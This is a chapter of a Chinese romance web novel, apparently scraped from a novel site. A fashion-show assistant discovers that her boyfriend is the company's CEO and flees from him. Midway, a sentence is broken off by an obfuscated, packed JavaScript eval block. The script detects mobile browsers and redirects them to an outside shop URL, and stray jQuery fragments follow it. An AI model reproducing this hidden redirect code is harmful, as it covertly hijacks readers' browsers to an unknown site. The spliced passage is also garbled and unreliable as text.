文趣网 > 其他小说 > 生理性欢喜 > 35. 才是
    宁宣小跑回去,很多员工已经慢慢聚到一起。赵拿着本子开始点人,宁宣赶在还没叫到她时入队。

    点完名后开始培训。也就是介绍下今天活动主要内容,showroom里会进来几批VIP,如何接待如何服务之类。

    培训接近尾声时,一个戴着耳麦的工作人员过来打断,“有没有会穿衣服的?”

    没人吱声。

    耳麦人拿个A4板夹,还保持写字的姿势向赵求助,“后场缺穿衣工,这里有没有能过去的!”

    赵看看站队的一群人,“我们这边人手还算充足,有没有手快的可以过去一两个。主要就是协助模特穿衣服,一定要够利索。”

    这个宁宣干过,她举手,“我学服设的,在上海时装周帮模特穿过,一对多。”

    “行。”赵勾手,“出来。”

    耳麦人拉住宁宣就走,“英语怎么样?外模可以吗?我们今天只需要一对一。”

    “可以。”

    走秀在另一个场馆,门口有安保,刷了工作证才能进去。

    耳麦人拉着宁宣钻进后场,这里比showroom拥挤多了,也忙碌多了。有人在烫衣服,有人在补妆,还有人拖着龙门架来回跑。

    宁宣分到一个金发碧眼的仙女,是这两年很受大牌青睐的新面孔。Ins上粉丝很多,美到让人尖叫,宁宣激动得手抖。

    仙女不会说中文,她们就简单的英文交流。

    秀场模特一般都会穿好几套衣服,宁宣的工作就是快速找到对应的衣服鞋子,快速换上,协助扎一下蝴蝶结戴一下配饰之类。

    秀还没开始,音响里节奏欢快。仙女已经穿好第一套,宁宣拿着照片在确认下一套衣服和配饰。

    忽然音乐淡出,前场的灯光穿透T台两侧的门帘。有人开始说话,“尊敬的各位来宾,女士们先生们,大家晚上好。欢迎各位莅临2025早春发布会的现场……”

    宁宣还在忙自己的,有人带着风从身边经过。戴耳麦的老外,拿着平板,工作证卷着绳子塞在胸前,“ready!”

    是秀场导演。导演发出指令后,所有模特按照彩排位置站好。

    仙女是开场模特,站在第一位。她穿飘逸浪漫的长裙,裙摆很长,宁宣跟在后面帮她整理。

    一般走秀舞台都是“T”字型。上面那条横线左右各一个出口,连接秀场后台,模特从两边依次入场,定点。然后在下面那条竖线舞台上走一个来回,再回到后台。

    宁宣站在出口的位置。

    这里可以看见几乎整个舞台和大半个嘉宾席。嘉宾席坐着超多明星,各个小头小脸仪态端正。

    还有些面孔陌生,却比明星还珠光宝气的,应该就是VVIP。营销老师说过,这些才是品牌方的真祖宗。

    正中间空着一个宽敞的位置。谁都不碰,像是为了某个大人物预留。

    主持人在台上激情陈词,仙女摸着耳朵回头,“Earringismissing!”

    脑子里的弦一下绷紧,宁宣赶紧回头找。

    这套衣服配的是体积感很强的重工金属耳坠,很大的环。她蹲在地上摸索,头顶的音响还是主持人的声音,“下面,有请大中华区执行总裁,林家安先生致辞。有请Ivan!”

    外面响起掌声。

    宁宣愣了一下。

    总裁?

    林家安?

    手心被戳了一下,她立刻抓起来,确认是遗失的那只耳环。管不了其它,赶紧跑回去帮仙女戴上。

    一切有惊无险。

    宁宣站在仙女身后。她很高,还穿着高跟鞋,宁宣几乎算是被“藏”在后面。外面的人看不见她,但她能看到台上发生了什么。

    总裁正在致辞。

    黑衬衫与灰西裤分界明显,他的腰线很高,往下是笔直老长的腿。

    好多镜头对着他,射灯从不同方向打在他身上。角落里的宁宣都觉得晃眼,但他依旧挺拔,举手投足泰然自若。

    耳边响起一阵阵电流,间歇能听见熟悉的声音,“场内的所有朋友,嘉宾以及工作组人员,晚上好…”不急不缓,掷地有声。

    宁宣站在背面,看不见他脸,只看见嘉宾席里女士们的星星眼。

    灯光在晃,后台好吵。临上台前总有各种突发状况,宁宣守着自己的模特,脑子一片空白。

    致辞结束后,他步履稳健行至嘉宾席,在最中间的空位坐下。射灯从棚顶打到舞台上,宁宣依旧看不清他脸。只见左右的顶流都起身与他握手,态度谦恭。

    音乐响起,灯光渐暗。

    秀场导演一声“GO!”,模特上场。

    宁宣往后站了站,她还记得自己的工作,乱着步子跑回去检查衣服和配饰。理智将混乱的思绪压在心底,她强迫自己不去想不相干的事。

    走秀顺利结束。

    主持人再次上台,邀请嘉宾们一同秀后狂欢。至此就没宁宣什么事了,她换回自己衣服,把工作服还给赵,从人不多的小门出去。

    外面依旧拦着铁马,看来要管制到活动彻底结束。宁宣拿出手机导航,跟着路线又绕到美术馆大门。

    门口好多媒体,有些提前退场的明星路过会被逮住。宁宣穿过混乱的人群,在门口的斑马线上等红灯。

    脑壳嗡嗡响。

    “林家安”和“执行总裁”这两个毫不相关的称谓还在脑子里打架。

    掌心忽然震动,导航界面上跳出来电提示。

    是林家安。

    心脏一提,宁宣握着手机忽然不知道该怎么办。

    红灯开始倒数。

    7,6,5,4,3…

    “来了来了,人来了!”

    身后媒体忽然躁动。

    刚抬起的脚步又收回来,宁宣转头。有一瞬,她看见了完完整整的林家安。宽肩长腿,下一刻又被扛摄像机的媒体围住。

    他个子高,被这么围着,依旧在人群中露出头肩。宁宣与他隔着距离,也依旧能看见清晰立体的五官。工作到现在,他还是风采斐然,就像单独开了滤镜一样,衬得周围所有人都灰头土脸。

    “林先生,分析师预测2025年奢侈品行业将步入寒冬,为此您怎么看?”

    “二奢市场火热,贵集团会考虑官方翻新或租赁服务吗?”

    “林先生,活动还没结束你怎么先出来了?”

    “林先生说几句吧。”

    两个安保人员上前拦住人群,着职业装的秘书接过话筒,“非常感谢媒体朋友们对这次活动的关注,不过后续林总还有行程,暂时无法接受采访。我们可以改日安排一个合适的时间,再与大家见面。”

    脑中两个称谓渐渐画上等号。

    林家安就是励云的新老板,那个四年从管培做到CEO的IvanLin。

    秘书怀里抱着一束绿玫瑰。浓郁深沉,扎着好几层玻璃纸。

    明明隔着十来米

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685448|205275||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,宁宣却闻到了林家安的香水味。清冽的雪松,被人群发酵得暖烘烘。

    耳边又响起阵阵电流,吵得宁宣头晕。

    “呕。”

    忽然开始反胃,嗓子不受控制地冒出酸水。她躬身吐掉,粘稠的液体在嘴角拉丝。

    可能是动静太大,林家安的视线穿过人群看过来。宁宣擦着口水与他对视,闪光灯下那双得体含笑的瞳孔骤然放大。

    宁宣抬起手背,酸水擦到脸上,有点臭。

    绿灯还剩十秒,她直起身子,转头踏上斑马线。

    身后是女秘书的声音,“抱歉了各位,林总还有行程。麻烦让一让。”

    9,8,7,6…

    宁宣跑起来。

    这条路好长,宁宣一直在跑。

    脑子里想起林家安曾经说过的话。

    “我在时装公司,做管理。”

    “这些也是茶水间听到的,核心决策我也接触不到。”

    好像在无意间问过好几次林家安的工作,他都是模糊回应,问到新老板也避之不谈。

    当然了,老板怎么可能在实习生面前八卦自己呢?

    一个末流学院的学生,怎么配得上海归精英,外企高管?保留身份也只是为了分手时不被纠缠罢了。

    掌心又在震。

    宁宣边跑边挂。

    上海的夏天是潮湿的,水汽浸在空气里,粘到宁宣脸上变成汗。

    连着挂掉好几个电话,又跳出微信语音,宁宣烦躁到想要摔掉手机。

    瞥眼看见是裴培,才接起来。

    那头声音轻快,“你回来没?夜宵去搞个麻辣烫七七八。”

    “妈的。”宁宣狠狠骂了一声。

    “what?”那边摸不着头脑。

    鼻子好酸好酸,眼前的路灯模糊成一片。跑到现在嗓子好疼,宁宣哑着声音,“真是渣男,草!”

    她站在原地喘气,嗓子像插了刀片。

    刚跑过的斑马线已经红灯,宁宣看见林家安挣脱人群,不顾车流跑向自己。

    演什么。

    他在演什么?

    他好像说什么都点到即止,从不会真正袒露自己。在宁宣看来,隐瞒的身份就是隐瞒的真心,他从没认真对待过这段感情。

    回想这些天的相处,回想夹着嗓子向他“撒娇”的情话,宁宣觉得恶心,觉得羞耻。

    她什么时候变成这么恶心窝囊的人?

    那种无脑傻白甜,她最反感的,看小说都不会点进去。她怎么会变成这样的人。

    路边种着香樟,宁宣停在树下,风吹过叶子翻面。

    一辆银色轿车拐过路口,在斑马线上急刹,降下车窗冲林家安的背影大骂,“不要命了!”

    宁宣忽然觉得好笑,他真是有一套。

    扯了扯嘴角,看着即将来到面前的林家安。面无表情拦了辆出租车。

    开门,入座,狠摔。

    司机扶着方向盘,看着被蛮力摔上的车门,又看宁宣。

    宁宣看后视镜,有水滴落,要下雨了。

    林家安跨过护栏,径直朝出租车跑过来。

    “到艺术学院。”宁宣看那个靠近的身影,再狼狈的动作在他身上都是舒展的,但宁宣不愿欣赏了,“麻烦开快一点,我赶时间。”

    车子加速启动。

    林家安在即将够上门把手时被甩开。后视镜里有双眼睛,那双圆圆亮亮的鹿眼,此刻满是愤怒。